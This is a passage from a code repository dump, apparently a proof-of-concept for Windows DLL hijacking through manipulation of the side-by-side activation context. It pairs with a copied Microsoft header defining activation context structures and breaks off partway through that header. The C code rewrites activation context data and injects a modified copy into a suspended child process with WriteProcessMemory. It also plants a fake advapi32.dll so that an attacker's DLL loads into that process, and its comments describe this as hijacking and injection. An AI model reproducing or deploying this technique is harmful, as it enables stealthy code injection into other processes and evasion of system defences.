MEM_COMMIT, PAGE_READWRITE); 246 | memcpy((PVOID)pNewActivationContext, (PVOID)pActivationContextData, mbi.RegionSize); 247 | 248 | UnmapViewOfFile((PVOID)pActivationContextData); 249 | pActivationContextData = (ULONG_PTR)VirtualAlloc((PVOID)pActivationContextData, mbi.RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 250 | memcpy((PVOID)pActivationContextData, (PVOID)pNewActivationContext, mbi.RegionSize); 251 | VirtualFree((PVOID)pNewActivationContext, 0, MEM_RELEASE); 252 | return (PVOID)pActivationContextData; 253 | } 254 | 255 | VOID UpdateActivationContext(__in HANDLE hProcess, __in BOOL b_use_system_default, __in PVOID lpBuffer, __in DWORD dwSize){ 256 | PROCESS_BASIC_INFORMATION pbi; 257 | ULONG cbNeeded; 258 | ULONG_PTR pActivationContextData; 259 | ULONG_PTR peb; 260 | 261 | NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &cbNeeded); 262 | peb = (ULONG_PTR)pbi.PebBaseAddress; 263 | #ifdef _WIN64 264 | if (!b_use_system_default) 265 | ReadProcessMemory(hProcess, (PVOID)(peb+0x2f8), &pActivationContextData, sizeof(pActivationContextData), 0); 266 | else 267 | ReadProcessMemory(hProcess, (PVOID)(peb+0x308), &pActivationContextData, sizeof(pActivationContextData), 0); 268 | 269 | #else 270 | if (!b_use_system_default) 271 | ReadProcessMemory(hProcess, (PVOID)(peb+0x1f8), &pActivationContextData, sizeof(pActivationContextData), 0); 272 | else 273 | ReadProcessMemory(hProcess, (PVOID)(peb+0x200), &pActivationContextData, sizeof(pActivationContextData), 0); 274 | #endif 275 | 276 | WriteProcessMemory(hProcess, (PVOID)pActivationContextData, lpBuffer, dwSize, 0); 277 | 278 | } 279 | 280 | int __cdecl wmain(int argc, wchar_t **argv){ 281 | PACTIVATION_CONTEXT_DATA pActivationContextData; 282 | DWORD dwLength; 283 | ULONG dwAssemblyRoosterIndex; 284 | WCHAR wsFullPathName[MAX_PATH]; 285 | WCHAR wsNewAssemblyPath[MAX_PATH]; 286 | WCHAR *current; 287 | size_t len; 288 | DWORD dwOldSize, dwNewSize; 289 | STARTUPINFO sinfo; 290 | PROCESS_INFORMATION pinfo; 291 | 292 | WCHAR wsAdvapiFullPath[MAX_PATH]; 293 | WCHAR wsAdvapiExpanded[MAX_PATH]; 294 | WCHAR wsFakeAdvapi[MAX_PATH]; 295 | BOOL b_debug_ldr = FALSE; 296 | 297 | if (argc == 2 && !_wcsicmp(argv[1], L"--debug")) 298 | b_debug_ldr = TRUE; 299 | 300 | memset(wsAdvapiFullPath, 0, sizeof(wsAdvapiFullPath)); 301 | memset(wsAdvapiExpanded, 0, sizeof(wsAdvapiExpanded)); 302 | 303 | LoadLibrary(L"advapi32.dll"); 304 | 305 | GetModuleFileName(GetModuleHandle(L"advapi32.dll"), wsAdvapiFullPath, MAX_PATH); 306 | ExpandEnvironmentStrings(L"%systemroot%\\system32\\advapi32.dll", wsAdvapiExpanded, MAX_PATH); 307 | if (_wcsicmp(wsAdvapiFullPath, wsAdvapiExpanded)){ 308 | MessageBox(0, L"weeheeee advapi32.dll redirected...", L"oki...", 0); 309 | ExitProcess(0); 310 | } 311 | 312 | pActivationContextData = RemapActivationContext(TRUE); 313 | 314 | g_pActivationContextData = pActivationContextData; 315 | 316 | dwAssemblyRoosterIndex = ReplaceDLLRedirectionGetRoster(L"sxsoaps.dll"); 317 | //wprintf(L"%s\n", GetAssemblyManifestPath(dwAssemblyRoosterIndex, &dwLength)); 318 | //wprintf(L"%s\n", GetAssemblyDirectoryPath(dwAssemblyRoosterIndex, &dwLength)); 319 | 320 | memset(wsFullPathName, 0, sizeof(wsFullPathName)); 321 | GetModuleFileName(GetModuleHandle(0), wsFullPathName, MAX_PATH); 322 | current = wcsrchr(wsFullPathName, '\\'); 323 | *current = 0; 324 | current = wcschr(wsFullPathName, '\\'); 325 | current++; 326 | 327 | 328 | memset(wsNewAssemblyPath, 0, sizeof(wsNewAssemblyPath)); 329 | wcscpy(wsNewAssemblyPath, L"..\\..\\"); 330 | wcscat(wsNewAssemblyPath, current); 331 | 332 | len = wcslen(wsNewAssemblyPath) * sizeof(WCHAR); 333 | memcpy(GetAssemblyDirectoryPath(dwAssemblyRoosterIndex, &dwLength), wsNewAssemblyPath, len); 334 | SetAssemblyDirectoryPathLength(dwAssemblyRoosterIndex, (DWORD)len); 335 | //Due to DLL redirection this file should be loaded from C:\windows\winsxs\\sxsoaps.dll 336 | //but as we faked Assembly Folder with ..\..\path_to_our_folder calling LoadLibrary or LdrpLoadDll 337 | //will force loading of this DLL from our hijacked path. 338 | LoadLibrary(L"sxsoaps.dll"); 339 | 340 | pActivationContextData = RemapActivationContextIncrease(GetCurrentProcess(), FALSE, 0x5000, &dwOldSize, &dwNewSize); 341 | g_pActivationContextData = pActivationContextData; 342 | 343 | 344 | memset(wsFullPathName, 0, sizeof(wsFullPathName)); 345 | GetModuleFileName(GetModuleHandle(0), wsFullPathName, MAX_PATH); 346 | current = wcsrchr(wsFullPathName, '\\'); 347 | *current = 0; 348 | wcscat(wsFullPathName, L"\\redirecteddll.dll"); 349 | 350 | //Loading meh.dll will cause redirecteddll.dll to be loaded 351 | //example of DLL hijacking, hooking, or whatever you wanna call it. 352 | //Note that this can be used with Suspended Process to cause injection into it... 353 | AddDllRedirection(L"meh.dll", wsFullPathName, dwOldSize, dwNewSize); 354 | 355 | UpdateActivationContext(GetCurrentProcess(), FALSE, g_pActivationContextData, dwNewSize); 356 | HeapFree(GetProcessHeap(), 0, (PVOID)pActivationContextData); 357 | 358 | LoadLibrary(L"meh.dll"); 359 | 360 | //hook advapi32.dll example... Well not really hooking, but if dll is fake advapi32.dll with 361 | //faked exports, your dll will be injected. Of course, make sure to redirect to real advapi32.dll 362 | //all exported calls :) 363 | 364 | memset(&sinfo, 0, sizeof(sinfo)); 365 | memset(&pinfo, 0, sizeof(pinfo)); 366 | 367 | memset(wsFullPathName, 0, sizeof(wsFullPathName)); 368 | GetModuleFileName(GetModuleHandle(0), wsFullPathName, MAX_PATH); 369 | 370 | 371 | if (!CreateProcess(0, 372 | wsFullPathName, 373 | 0, 374 | 0, 375 | 0, 376 | CREATE_SUSPENDED, 377 | 0, 378 | 0, 379 | &sinfo, 380 | &pinfo)){ 381 | printf("[X] bummer, failed to create child process...\n"); 382 | return 1; 383 | } 384 | 385 | pActivationContextData = RemapActivationContextIncrease(pinfo.hProcess, FALSE, 0x5000, &dwOldSize, &dwNewSize); 386 | g_pActivationContextData = pActivationContextData; 387 | 388 | memset(wsFakeAdvapi, 0, sizeof(wsFakeAdvapi)); 389 | GetModuleFileName(GetModuleHandle(0), wsFakeAdvapi, MAX_PATH); 390 | current = wcsrchr(wsFakeAdvapi, '\\'); 391 | *current = 0; 392 | wcscat(wsFakeAdvapi, L"\\advapi32.dll"); 393 | 394 | AddDllRedirection(L"advapi32.dll", wsFakeAdvapi, dwOldSize, dwNewSize); 395 | 396 | UpdateActivationContext(pinfo.hProcess, FALSE, g_pActivationContextData, dwNewSize); 397 | HeapFree(GetProcessHeap(), 0, (PVOID)pActivationContextData); 398 | 399 | if (b_debug_ldr) 400 | InjectLdrBreak(pinfo.hProcess, pinfo.hThread); 401 | 402 | CopyFile(wsAdvapiExpanded, wsFakeAdvapi, FALSE); 403 | 404 | ResumeThread(pinfo.hThread); 405 | 406 | WaitForSingleObject(pinfo.hProcess, INFINITE); 407 | DeleteFile(wsFakeAdvapi); 408 | } 409 | -------------------------------------------------------------------------------- /sxstypes.h: -------------------------------------------------------------------------------- 1 | 2 | /*++ BUILD Version: 0005 // Increment this if a change has global effects 3 | 4 | Copyright (c) Microsoft Corporation. All rights reserved. 5 | 6 | Module Name: 7 | 8 | sxstypes.h 9 | 10 | Abstract: 11 | 12 | Include file with definitions for data structures used for side-by-side 13 | binding. 14 | 15 | Author: 16 | 17 | Michael Grier (MGrier) 28-Mar-2000 18 | 19 | Environment: 20 | 21 | 22 | Revision History: 23 | 24 | --*/ 25 | 26 | #ifndef _SXSTYPES_ 27 | #define _SXSTYPES_ 28 | 29 | #if (_MSC_VER > 1020) 30 | #pragma once 31 | #endif 32 | 33 | #if defined(__cplusplus) 34 | extern "C" { 35 | #endif 36 | 37 | typedef struct _ACTIVATION_CONTEXT_DATA ACTIVATION_CONTEXT_DATA; 38 | typedef const ACTIVATION_CONTEXT_DATA *PCACTIVATION_CONTEXT_DATA; 39 | 40 | // 41 | // These data structures have to line up in a number of different run-time 42 | // environments, so we explicitly set the alignment. 43 | // 44 | #include "pshpack4.h" 45 | // 46 | // These data structures may be generated by 64bit code and consumed 47 | // in 32bit code, as in the case of 32bit processes on Win64. 48 | // Therefore they have no pointers and no SIZE_Ts. 49 | // 50 | // Besides that, they are created in a different process than they 51 | // are consumed. They are position independent. 52 | // 53 | 54 | // 55 | // ASSEMBLY_VERSION represents a traditional four-part version 56 | // as in Major.Minor.Revision.Build. 57 | // 58 | // They are laid out so that you can perform a simple ULONGLONG- 59 | // based comparison on them. 60 | // 61 | // They are interpreted as: 62 | // 63 | // Major.Minor.Build.Revision 64 | // 65 | // So for example you might have "5.1.2505.2" (where 5.1 is the major 66 | // minor, 2505 represents the daily build number and 2 is the number 67 | // of updates to the build since its initial build). 68 | // 69 | // Overloaded comparison operators are provided for C++ clients. 70 | // 71 | 72 | #pragma warning(push) 73 | #pragma warning(disable : 4201) // nameless struct/union 74 | #include "pshpack1.h" 75 | 76 | typedef union _ASSEMBLY_VERSION { 77 | struct { 78 | USHORT Build; 79 | USHORT Revision; 80 | USHORT Minor; 81 | USHORT Major; 82 | } DUMMYSTRUCTNAME; 83 | ULONGLONG QuadPart; 84 | } ASSEMBLY_VERSION, *PASSEMBLY_VERSION; 85 | 86 | #include "poppack.h" 87 | #pragma warning(pop) 88 | 89 | typedef const ASSEMBLY_VERSION *PCASSEMBLY_VERSION; 90 | 91 | #if defined(__cplusplus) 92 | extern "C++" { 93 | inline bool operator ==(const ASSEMBLY_VERSION &av1, const ASSEMBLY_VERSION &av2) { return av1.QuadPart == av2.QuadPart; } 94 | inline bool operator !=(const ASSEMBLY_VERSION &av1, const ASSEMBLY_VERSION &av2) { return av1.QuadPart != av2.QuadPart; } 95 | inline bool operator <(const ASSEMBLY_VERSION &av1, const ASSEMBLY_VERSION &av2) { return av1.QuadPart < av2.QuadPart; } 96 | inline bool operator >(const ASSEMBLY_VERSION &av1, const ASSEMBLY_VERSION &av2) { return av1.QuadPart > av2.QuadPart; } 97 | inline bool operator <=(const ASSEMBLY_VERSION &av1, const ASSEMBLY_VERSION &av2) { return av1.QuadPart <= av2.QuadPart; } 98 | inline bool operator >=(const ASSEMBLY_VERSION &av1, const ASSEMBLY_VERSION &av2) { return av1.QuadPart >= av2.QuadPart; } 99 | } /* extern "C++" */ 100 | #endif /* __cplusplus */ 101 | 102 | // 103 | // Standard Activation Context section IDs: 104 | // 105 | 106 | // begin_winnt 107 | #define ACTIVATION_CONTEXT_SECTION_ASSEMBLY_INFORMATION (1) 108 | #define ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION (2) 109 | #define ACTIVATION_CONTEXT_SECTION_WINDOW_CLASS_REDIRECTION (3) 110 | #define ACTIVATION_CONTEXT_SECTION_COM_SERVER_REDIRECTION (4) 111 | #define ACTIVATION_CONTEXT_SECTION_COM_INTERFACE_REDIRECTION (5) 112 | #define ACTIVATION_CONTEXT_SECTION_COM_TYPE_LIBRARY_REDIRECTION (6) 113 | #define ACTIVATION_CONTEXT_SECTION_COM_PROGID_REDIRECTION (7) 114 | #define ACTIVATION_CONTEXT_SECTION_GLOBAL_OBJECT_RENAME_TABLE (8) 115 | #define ACTIVATION_CONTEXT_SECTION_CLR_SURROGATES (9) 116 | #define ACTIVATION_CONTEXT_SECTION_APPLICATION_SETTINGS (10) 117 | #define ACTIVATION_CONTEXT_SECTION_COMPATIBILITY_INFO (11) 118 | // end_winnt 119 | 120 | // 121 | // Activation Context section format identifiers: 122 | // 123 | 124 | #define ACTIVATION_CONTEXT_SECTION_FORMAT_UNKNOWN (0) 125 | #define ACTIVATION_CONTEXT_SECTION_FORMAT_STRING_TABLE (1) 126 | #define ACTIVATION_CONTEXT_SECTION_FORMAT_GUID_TABLE (2) 127 | 128 | typedef struct _ACTIVATION_CONTEXT_DATA { 129 | ULONG Magic; 130 | ULONG HeaderSize; 131 | ULONG FormatVersion; 132 | ULONG TotalSize; 133 | ULONG DefaultTocOffset; 134 | ULONG ExtendedTocOffset; 135 | ULONG AssemblyRosterOffset; 136 | ULONG Flags; 137 | } ACTIVATION_CONTEXT_DATA, *PACTIVATION_CONTEXT_DATA; 138 | typedef const ACTIVATION_CONTEXT_DATA *PCACTIVATION_CONTEXT_DATA; 139 | 140 | #define ACTIVATION_CONTEXT_DATA_MAGIC ((ULONG) 'xtcA') 141 | #define ACTIVATION_CONTEXT_DATA_FORMAT_WHISTLER (1) 142 | 143 | // Internally this is associated with the data, but externally 144 | // the data is usually opaque and it is associated with the activation context. 145 | #define ACTIVATION_CONTEXT_FLAG_NO_INHERIT (0x00000001) 146 | 147 | typedef struct _ACTIVATION_CONTEXT_DATA_TOC_HEADER { 148 | ULONG HeaderSize; 149 | ULONG EntryCount; 150 | ULONG FirstEntryOffset; 151 | ULONG Flags; 152 | } ACTIVATION_CONTEXT_DATA_TOC_HEADER, *PACTIVATION_CONTEXT_DATA_TOC_HEADER; 153 | typedef const struct _ACTIVATION_CONTEXT_DATA_TOC_HEADER *PCACTIVATION_CONTEXT_DATA_TOC_HEADER; 154 | 155 | #define ACTIVATION_CONTEXT_DATA_TOC_HEADER_DENSE (0x00000001) 156 | #define ACTIVATION_CONTEXT_DATA_TOC_HEADER_INORDER (0x00000002) 157 | 158 | typedef struct _ACTIVATION_CONTEXT_DATA_TOC_ENTRY { 159 | ULONG Id; 160 | ULONG Offset; // from ACTIVATION_CONTEXT_DATA base 161 | ULONG Length; // in bytes 162 | ULONG Format; // ACTIVATION_CONTEXT_SECTION_FORMAT_* 163 | } ACTIVATION_CONTEXT_DATA_TOC_ENTRY, *PACTIVATION_CONTEXT_DATA_TOC_ENTRY; 164 | typedef struct _ACTIVATION_CONTEXT_DATA_TOC_ENTRY *PCACTIVATION_CONTEXT_DATA_TOC_ENTRY; 165 | 166 | typedef struct _ACTIVATION_CONTEXT_DATA_EXTENDED_TOC_HEADER { 167 | ULONG HeaderSize; 168 | ULONG EntryCount; 169 | ULONG FirstEntryOffset; // from ACTIVATION_CONTEXT_DATA base 170 | ULONG Flags; 171 | } ACTIVATION_CONTEXT_DATA_EXTENDED_TOC_HEADER, *PACTIVATION_CONTEXT_DATA_EXTENDED_TOC_HEADER; 172 | typedef const struct _ACTIVATION_CONTEXT_DATA_EXTENDED_TOC_HEADER *PCACTIVATION_CONTEXT_DATA_EXTENDED_TOC_HEADER; 173 | 174 | typedef struct _ACTIVATION_CONTEXT_DATA_EXTENDED_TOC_ENTRY { 175 | GUID ExtensionGuid; 176 | ULONG TocOffset; // from ACTIVATION_CONTEXT_DATA base 177 | ULONG Length; 178 | } ACTIVATION_CONTEXT_DATA_EXTENDED_TOC_ENTRY, *PACTIVATION_CONTEXT_DATA_EXTENDED_TOC_ENTRY; 179 | typedef const struct _ACTIVATION_CONTEXT_DATA_EXTENDED_TOC_ENTRY *PCACTIVATION_CONTEXT_DATA_EXTENDED_TOC_ENTRY; 180 | 181 | typedef struct _ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER { 182 | ULONG HeaderSize; 183 | ULONG HashAlgorithm; 184 | ULONG EntryCount; // Entry 0 is reserved; this is the number of assemblies plus 1. 185 | ULONG FirstEntryOffset; // From ACTIVATION_CONTEXT_DATA base 186 | ULONG AssemblyInformationSectionOffset; // Offset from the ACTIVATION_CONTEXT_DATA base to the 187 | // header of the assembly information string section. Needed because 188 | // the roster entries contain the offsets from the ACTIVATION_CONTEXT_DATA 189 | // to the assembly information structs, but those structs contain offsets 190 | // from their section base to the strings etc. 191 | } ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER, *PACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER; 192 | typedef const struct _ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER *PCACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER; 193 | 194 | #define ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY_INVALID (0x00000001) 195 | #define ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY_ROOT (0x00000002) 196 | 197 | typedef struct _ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY { 198 | ULONG Flags; 199 | ULONG PseudoKey; // case-insentively-hashed assembly name 200 | ULONG AssemblyNameOffset; // from ACTIVATION_CONTEXT_DATA base 201 | ULONG AssemblyNameLength; // length in bytes 202 | ULONG AssemblyInformationOffset; // from ACTIVATION_CONTEXT_DATA base to ACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION 203 | ULONG AssemblyInformationLength; // length in bytes 204 | } ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY, *PACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY; 205 | typedef const struct _ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY *PCACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY; 206 | 207 | // 208 | // ActivationContext string sections are organized as follows: 209 | // 210 | // Header 211 | // Hash structure (optional) 212 | // List of subelements 213 | // Variable length data 214 | // 215 | // 216 | // If you don't recognize the FormatVersion, you should still 217 | // be able to navigate to the list of subelements; once there 218 | // you can still do a very fast linear search avoiding many 219 | // string comparisons if the hash algorithms align. 220 | // 221 | // If you can't even use the hash algorithm, you can still do 222 | // string comparisons. 223 | // 224 | 225 | typedef struct _ACTIVATION_CONTEXT_STRING_SECTION_HEADER { 226 | ULONG Magic; 227 | ULONG HeaderSize; // in bytes 228 | ULONG FormatVersion; 229 | ULONG DataFormatVersion; 230 | ULONG Flags; 231 | ULONG ElementCount; 232 | ULONG ElementListOffset; // offset from section header 233 | ULONG HashAlgorithm; 234 | ULONG SearchStructureOffset; // offset from section header 235 | ULONG UserDataOffset; // offset from section header 236 | ULONG UserDataSize; // in bytes 237 | } ACTIVATION_CONTEXT_STRING_SECTION_HEADER, *PACTIVATION_CONTEXT_STRING_SECTION_HEADER; 238 | 239 | typedef const ACTIVATION_CONTEXT_STRING_SECTION_HEADER *PCACTIVATION_CONTEXT_STRING_SECTION_HEADER; 240 | 241 | #define ACTIVATION_CONTEXT_STRING_SECTION_MAGIC ((ULONG) 'dHsS') 242 | 243 | #define ACTIVATION_CONTEXT_STRING_SECTION_FORMAT_WHISTLER (1) 244 | 245 | #define ACTIVATION_CONTEXT_STRING_SECTION_CASE_INSENSITIVE (0x00000001) 246 | #define ACTIVATION_CONTEXT_STRING_SECTION_ENTRIES_IN_PSEUDOKEY_ORDER (0x00000002) 247 | 248 | typedef struct _ACTIVATION_CONTEXT_STRING_SECTION_HASH_TABLE { 249 | ULONG BucketTableEntryCount; 250 | ULONG BucketTableOffset; // offset from section header 251 | } ACTIVATION_CONTEXT_STRING_SECTION_HASH_TABLE, *PACTIVATION_CONTEXT_STRING_SECTION_HASH_TABLE; 252 | 253 | typedef const ACTIVATION_CONTEXT_STRING_SECTION_HASH_TABLE *PCACTIVATION_CONTEXT_STRING_SECTION_HASH_TABLE; 254 | 255 | typedef struct _ACTIVATION_CONTEXT_STRING_SECTION_HASH_BUCKET { 256 | ULONG ChainCount; 257 | ULONG ChainOffset; // offset from section header 258 | } ACTIVATION_CONTEXT_STRING_SECTION_HASH_BUCKET, *PACTIVATION_CONTEXT_STRING_SECTION_HASH_BUCKET; 259 | 260 | typedef const ACTIVATION_CONTEXT_STRING_SECTION_HASH_BUCKET *PCACTIVATION_CONTEXT_STRING_SECTION_HASH_BUCKET; 261 | 262 | // The hash table bucket chain is then a list of offsets from the section header to 263 | // the section entries for the chain. 264 | 265 | typedef struct _ACTIVATION_CONTEXT_STRING_SECTION_ENTRY { 266 | ULONG PseudoKey; 267 | ULONG KeyOffset; // offset from the section header 268 | ULONG KeyLength; // in bytes 269 | ULONG Offset; // offset from the section header 270 | ULONG Length; // in bytes 271 | ULONG AssemblyRosterIndex; // 1-based index into the assembly roster for the assembly that 272 | // provided this entry. If the entry is not associated with 273 | // an assembly, zero. 274 | } ACTIVATION_CONTEXT_STRING_SECTION_ENTRY, *PACTIVATION_CONTEXT_STRING_SECTION_ENTRY; 275 | 276 | typedef const ACTIVATION_CONTEXT_STRING_SECTION_ENTRY *PCACTIVATION_CONTEXT_STRING_SECTION_ENTRY; 277 | 278 | // 279 | // ActivationContext GUID sections are organized as follows: 280 | // 281 | // Header 282 | // Hash structure (optional) 283 | // List of subelements 284 | // Variable length data 285 | // 286 | // If you don't recognize the FormatVersion, you should still 287 | // be able to navigate to the list of subelements; once there 288 | // you can still do a very fast linear search avoiding many 289 | // GUID comparisons. 290 | // 291 | 292 | typedef struct _ACTIVATION_CONTEXT_GUID_SECTION_HEADER { 293 | ULONG Magic; 294 | ULONG HeaderSize; 295 | ULONG FormatVersion; 296 | ULONG DataFormatVersion; 297 | ULONG Flags; 298 | ULONG ElementCount; 299 | ULONG ElementListOffset; // offset from section header 300 | ULONG SearchStructureOffset; // offset from section header 301 | ULONG UserDataOffset; // offset from section header 302 | ULONG UserDataSize; // in bytes 303 | } ACTIVATION_CONTEXT_GUID_SECTION_HEADER, *PACTIVATION_CONTEXT_GUID_SECTION_HEADER; 304 | 305 | typedef const ACTIVATION_CONTEXT_GUID_SECTION_HEADER *PCACTIVATION_CONTEXT_GUID_SECTION_HEADER; 306 | 307 | #define ACTIVATION_CONTEXT_GUID_SECTION_MAGIC ((ULONG) 'dHsG') 308 | 309 | #define ACTIVATION_CONTEXT_GUID_SECTION_FORMAT_WHISTLER (1) 310 | 311 | #define ACTIVATION_CONTEXT_GUID_SECTION_ENTRIES_IN_ORDER (0x00000001) 312 | 313 | typedef struct _ACTIVATION_CONTEXT_GUID_SECTION_HASH_TABLE { 314 | ULONG BucketTableEntryCount; 315 | ULONG BucketTableOffset; // offset from section header 316 | } ACTIVATION_CONTEXT_GUID_SECTION_HASH_TABLE, *PACTIVATION_CONTEXT_GUID_SECTION_HASH_TABLE; 317 | 318 | typedef const ACTIVATION_CONTEXT_GUID_SECTION_HASH_TABLE *PCACTIVATION_CONTEXT_GUID_SECTION_HASH_TABLE; 319 | 320 | typedef struct _ACTIVATION_CONTEXT_GUID_SECTION_HASH_BUCKET { 321 | ULONG ChainCount; 322 | ULONG ChainOffset; // offset from section header 323 | } ACTIVATION_CONTEXT_GUID_SECTION_HASH_BUCKET, *PACTIVATION_CONTEXT_GUID_SECTION_HASH_BUCKET; 324 | 325 | typedef const ACTIVATION_CONTEXT_GUID_SECTION_HASH_BUCKET *PCACTIVATION_CONTEXT_GUID_SECTION_HASH_BUCKET; 326 | 327 | // The hash table bucket chain is then a list of offsets from the section header to 328 | // the section entries for the chain. 329 | 330 | typedef struct _ACTIVATION_CONTEXT_GUID_SECTION_ENTRY { 331 | GUID Guid; 332 | ULONG Offset; // offset from the section header 333 | ULONG Length; // in bytes 334 | ULONG AssemblyRosterIndex; // 1-based index into the assembly roster for the assembly that 335 | // provided this entry. If the entry is not associated with 336 | // an assembly, zero. 337 | } ACTIVATION_CONTEXT_GUID_SECTION_ENTRY, *PACTIVATION_CONTEXT_GUID_SECTION_ENTRY; 338 | 339 | typedef const ACTIVATION_CONTEXT_GUID_SECTION_ENTRY *PCACTIVATION_CONTEXT_GUID_SECTION_ENTRY; 340 | 341 | // 342 | // Data structures for the assembly information section (NULL Extension GUID, ACTIVATION_CONTEXT_SECTION_ASSEMBLY_INFORMATION) 343 | // 344 | 345 | typedef struct _ACTIVATION_CONTEXT_DATA_ASSEMBLY_GLOBAL_INFORMATION { 346 | ULONG Size; 347 | ULONG Flags; 348 | GUID PolicyCoherencyGuid; 349 | GUID PolicyOverrideGuid; 350 | ULONG ApplicationDirectoryPathType; 351 | ULONG ApplicationDirectoryLength; 352 | ULONG ApplicationDirectoryOffset; // Offset from base of ACTIVATION_CONTEXT_DATA_ASSEMBLY_GLOBAL_INFORMATION 353 | ULONG ResourceName; // Resource name for root manifest, used for actctx regeneration 354 | } ACTIVATION_CONTEXT_DATA_ASSEMBLY_GLOBAL_INFORMATION, *PACTIVATION_CONTEXT_DATA_ASSEMBLY_GLOBAL_INFORMATION; 355 | typedef const ACTIVATION_CONTEXT_DATA_ASSEMBLY_GLOBAL_INFORMATION *PCACTIVATION_CONTEXT_DATA_ASSEMBLY_GLOBAL_INFORMATION; 356 | 357 | // 358 | // Leaf node structure for the assembly information section 359 | // 360 | 361 | #define ACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION_FORMAT_WHISTLER (1) 362 | 363 | // 364 | // Bitflags for the Flags member of an assembly information section element. 365 | // 366 | 367 | #define ACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION_ROOT_ASSEMBLY (0x00000001) 368 | #define ACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION_POLICY_APPLIED (0x00000002) 369 | #define ACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION_ASSEMBLY_POLICY_APPLIED (0x00000004) 370 | #define ACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION_ROOT_POLICY_APPLIED (0x00000008) 371 | #define ACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION_PRIVATE_ASSEMBLY (0x00000010) 372 | 373 | // ACTIVATION_CONTEXT_PATH_TYPE_NONE is used when 374 | // a manifest has no stored location or identity, such as when a manifest is found 375 | // in the app compat database. The client is free to specify a manifest path 376 | // string which should assist in diagnosing where the manifest came from, but 377 | // cannot be assumed to have any particular format or syntax. 378 | 379 | typedef struct _ACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION { 380 | ULONG Size; // size of this structure, in bytes 381 | ULONG Flags; 382 | ULONG EncodedAssemblyIdentityLength; // in bytes 383 | ULONG EncodedAssemblyIdentityOffset; // offset from section header base 384 | 385 | ULONG ManifestPathType; 386 | ULONG ManifestPathLength; // in bytes 387 | ULONG ManifestPathOffset; // offset from section header base 388 | LARGE_INTEGER ManifestLastWriteTime; 389 | ULONG PolicyPathType; 390 | ULONG PolicyPathLength; // in bytes 391 | ULONG PolicyPathOffset; // offset from section header base 392 | LARGE_INTEGER PolicyLastWriteTime; 393 | ULONG MetadataSatelliteRosterIndex; 394 | ULONG Unused2; 395 | ULONG ManifestVersionMajor; 396 | ULONG ManifestVersionMinor; 397 | ULONG PolicyVersionMajor; 398 | ULONG PolicyVersionMinor; 399 | ULONG AssemblyDirectoryNameLength; // in bytes 400 | ULONG AssemblyDirectoryNameOffset; // from section header base 401 | ULONG NumOfFilesInAssembly; 402 | // 2600 stopped here 403 | ULONG LanguageLength; // in bytes 404 | ULONG LanguageOffset; // from section header base 405 | 406 | ACTCTX_REQUESTED_RUN_LEVEL RunLevel; 407 | ULONG UiAccess; 408 | } ACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION, *PACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION; 409 | 410 | typedef const ACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION *PCACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION; 411 | 412 | // 413 | // Leaf node structure for the dll redirection section (NULL Extension GUID, ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) 414 | // 415 | 416 | #define ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_FORMAT_WHISTLER (1) 417 | 418 | // 419 | // ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION Flags: 420 | // 421 | // ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_INCLUDES_BASE_NAME 422 | // 423 | // Provides for a redirection that remaps not just the path but the actual 424 | // base name of the file to access. 425 | // 426 | // Not used in any current Whistler scenarios. 427 | // 428 | // ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_OMITS_ASSEMBLY_ROOT 429 | // 430 | // Provides for a redirection where the actual storage path of the file 431 | // must be determined at runtime by via the assembly roster. This allows 432 | // for a cached activation context to remain valid across when an assembly 433 | // is relocated across storage volumes. 434 | // 435 | // ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_EXPAND 436 | // 437 | // The path must be constructed by appending all the segments and then 438 | // the resultant string must be passed through either the 439 | // RtlExpandEnvironmentStrings() or the Win32 ExpandEnvironmentStrings() APIs. 440 | // 441 | // Used generally only for app compat where a manifest for the executable 442 | // may call out a file which the application may erroneously carry with it 443 | // (possibly on read-only media) to be redirected to, for example, 444 | // "%windir%\system32\" 445 | // 446 | // ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SYSTEM_DEFAULT_REDIRECTED_SYSTEM32_DLL 447 | // 448 | // Provides for dll which exist under system32 as well as system default 449 | // for example, comctl32.dll. There are two entries for this dll in string section 450 | // (1) LoadLibrary("comctl32.dll"), redirected to 5.82 comctl32 under winsxs 451 | // (2) LoadLibrary("c:\windows\system32\comctl32.dll"), is also redirected to 5.82 452 | // comctl32 under winsxs 453 | // 454 | // Note! 455 | // 456 | // You may not have a single entry with both the 457 | // ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_OMITS_ASSEMBLY_ROOT and 458 | // ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_EXPAND flags set. 459 | // 460 | 461 | #define 